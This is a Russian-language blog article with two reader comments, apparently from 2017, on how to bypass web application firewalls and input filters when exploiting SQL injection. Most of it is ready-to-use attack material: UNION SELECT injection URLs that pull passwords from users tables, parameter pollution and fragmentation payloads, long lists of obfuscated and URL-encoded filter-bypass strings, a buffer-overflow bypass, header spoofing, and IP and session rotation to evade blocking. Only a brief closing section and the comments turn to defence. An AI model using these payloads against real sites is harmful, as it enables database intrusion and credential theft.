Методы обхода защитных средств веб-приложений при эксплуатации SQL-инъекций
При разработке современных веб-приложений необходимо использовать защитные средства. Тем не менее, стоит понимать, как они работают, эффективно их применять и осознавать, что они не являются панацеей от хакерских атак. В статье будут рассмотрены способы обхода средств фильтрации и защиты веб-приложений при эксплуатации sql-инъекций.
Прежде чем приступить к рассмотрению вариантов обхода, давайте определимся с тем, что сегодня из себя представляют защитные средства — как нативные, так и «надстроенные».
Защита
Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:
- mysql_escape_string — экранирует строку для использования в mysql_query;
- addslashes — экранирует спецсимволы в строке;
- htmlspecialchars — преобразует специальные символы в HTML сущности;
- mysql_real_escape_string — экранирует специальные символы в unescaped_string;
- intval — функция приведения типа.
Большинство этих функций направлено на то, чтобы провести преобразование «опасных» символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.
В «надстроенных» средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.
Обход защитных средств
Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения.
Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml. Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht.
Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных.
Для обхода используются следующие техники:
Инъекция нульбайта: использование %00 до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер.
Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем
в
Встроенные комментарии: использование комментария в атакующем запросе. Например,
/ *! SELECT * /
может быть пропущен защитным средством, но обработан в целевом веб-приложении.
Раздробленные запросы (chunked): использование кодированных HTTP-запросов для разделения вредоносного пейлоада на несколько HTTP-запросов.
Переполнение буфера: если мы сможем сформировать запрос, который вызовет переполнение буфера защитного механизма, мы можем обойти защитные средства (как в случае успешной эксплуатации самой уязвимости защиты, так и без эксплуатации в случае падения приложения).
HTTP Parameter Pollution: параметрами HTTP-запроса являются пары, состоящие из ключа и значения, разделенные символом =. Первый запрос может быть обработан защитным средством, но на стороне веб-приложения выполнится второй. Для разделения используются &, ; и.т.д.
URL encoding (hex): использование 16-ричного представления символов, например таких как %27 сивола кавычки. Это само по себе может быть недостаточным для многих современных средств защиты, но может быть использовано в сочетании в другими методами обхода. Могут встречаться и другие функции преобразования, например функция reverse:
reverse(‘>tpircs/<)niamod.tnemucod(trela>tpircs<‘)
Разделение ключевых слов: здесть можно использовать особенности средств защиты для внедрения пейлоада — добавляем спецсимовлы и т.д. в качестве разделителя, они вырезаются защитными средствами и на выходе мы получаем обработанный, но целый пейлоад:
SEL
будет обработан и из него будет вырезана угловая скобка, на выходе получим
SELECT
Дублирование ключевых слов: этот метод похож на предыдущий — мы добавляем стоп-слово к запросу, чтобы обмануть механизм защиты:
SELECTSELECT
будет обработан и из него будет вырезан первый SELECT, на выходе получим
SELECT
Сброс сессионной куки: для того чтобы не попасть под фильтрацию частых нелигитимных запросов необходимо сбрасывать сессию у каждого запроса.
IP репутация: как и в предыдущем примере, при частых запросах с одного IP — могут быть заблокированы и все остальные с этого адреса. Использования множества адресов для атаки может помочь обойти это ограничение.
Header injection: иногда можно дать понять приложению что запрос пришел из доверенной сети. При отсутствии должных проверок можно подставить доверенно адрес, например 127.0.0.1 в следующие поля:
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
Популярные методы обхода защиты от sql-инъекций
Существует два вида инъекций — в строковом или числовом параметре:
Строковый
Example: SELECT * from table where example = 'Example'
Числовой
Example: SELECT * from table where id = 123
Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты.
Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID:
example.site/index.php?id=-1 UNION SELECT password FROM users
Обход нормализации:
/? Id = 1 + union + select + 1,2,3 / *
такой запрос будет заблокирован, поэтому сформируем обфусцированный запрос:
/?id=1/*union*/union/*select*/select+1,2,3/*
который после нормализации защитными средствами:
?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
«соберется» в необходимый пейлоад:
/? Id = 1 + union + select + 1,2,3 / *
Аналогичный пример запроса:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
также «соберется» в необходимый пейлоад:
/? Id = 1 + union + select + 1,2,3 / *
Можно использовать расщепление запроса (HTTP Parameter Pollution):
уязвимый код:
SQL=" select key from table where id= "+Request.QueryString("id")
расщепляем запрос:
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
преобразуется в:
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
Также можно использовать фрагментацию запроса (HTTP Parameter Fragmentation):
уязвимый код:
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
фрагментируем:
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
получаем запрос:
select * from table where a=1 union/* and b=*/select 1,2
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
Используем логические операторы:
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Вместо знака равенства можно использовать знаки отрицания и неравенства (! =, <>, <,>) .
and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
Естественно что можно комбинировать различные методы для достижения результата по обходу. Пример различных запросов по одному значению:
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
Такие атаки могут успешно проходить при наличии следующих условий:
- Уязвимости в функциях нормализации запроса.
- Применение технологий HPP и HPF.
- Обход правил фильтрации (сигнатуры).
- Уязвимости логики работы приложения (и / или).
Примеры сигнатурного обхода
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
concat(0x223e,@@version)
concat(0x273e27,version(),0x3c212d2d)
concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
concat(0x223e,@@version,0x3c696d67207372633d22)
concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
concat(‘’,@@version,’’)
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
Примеры url-encoded при проведении union select запросов
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
Примеры смешанного содержимого запросов
unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
Примеры замены сигнатур
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
Переполнение буфера
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(тут добавляем более 1000 "A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
HEX/url encoding
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
Очистка «странных» символов или функций
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
Заключение
Придерживаться правила: all input is evil until proven otherwise.
Тщательно проверять входящие данные.
Тщательно проверять входящие данные.
Тщательно проверять входящие данные.
Использовать комплексные средства защиты веб-приложений от хакерских атак.
В следующей статье я расскажу о методах обхода защитных средств веб-приложений при эксплуатации xss-векторов.
Комментарии (2)
13 апреля 2017 в 13:57
0↑
↓
От всего перечисленного спасёт банальнейший PDO. Он сам всё проверит и экранирует как надо.
А от XSS спасёт банальнейшее принудительное экранирование всех выводимых переменных, которое есть в любом нормальном шаблонизаторе. Ну и jevix и аналоги, если html всё-таки нужен.
13 апреля 2017 в 14:01
0↑
↓
Собсна ничего не мешает проверять входные данные в регулярке вида^(тут_условие)$
, или использовать менее параноинальный вариант, но использовать группу.
Или прописать пару правил для args и location в nginx, или просто собрать последный с naxsi и снова поколдовать.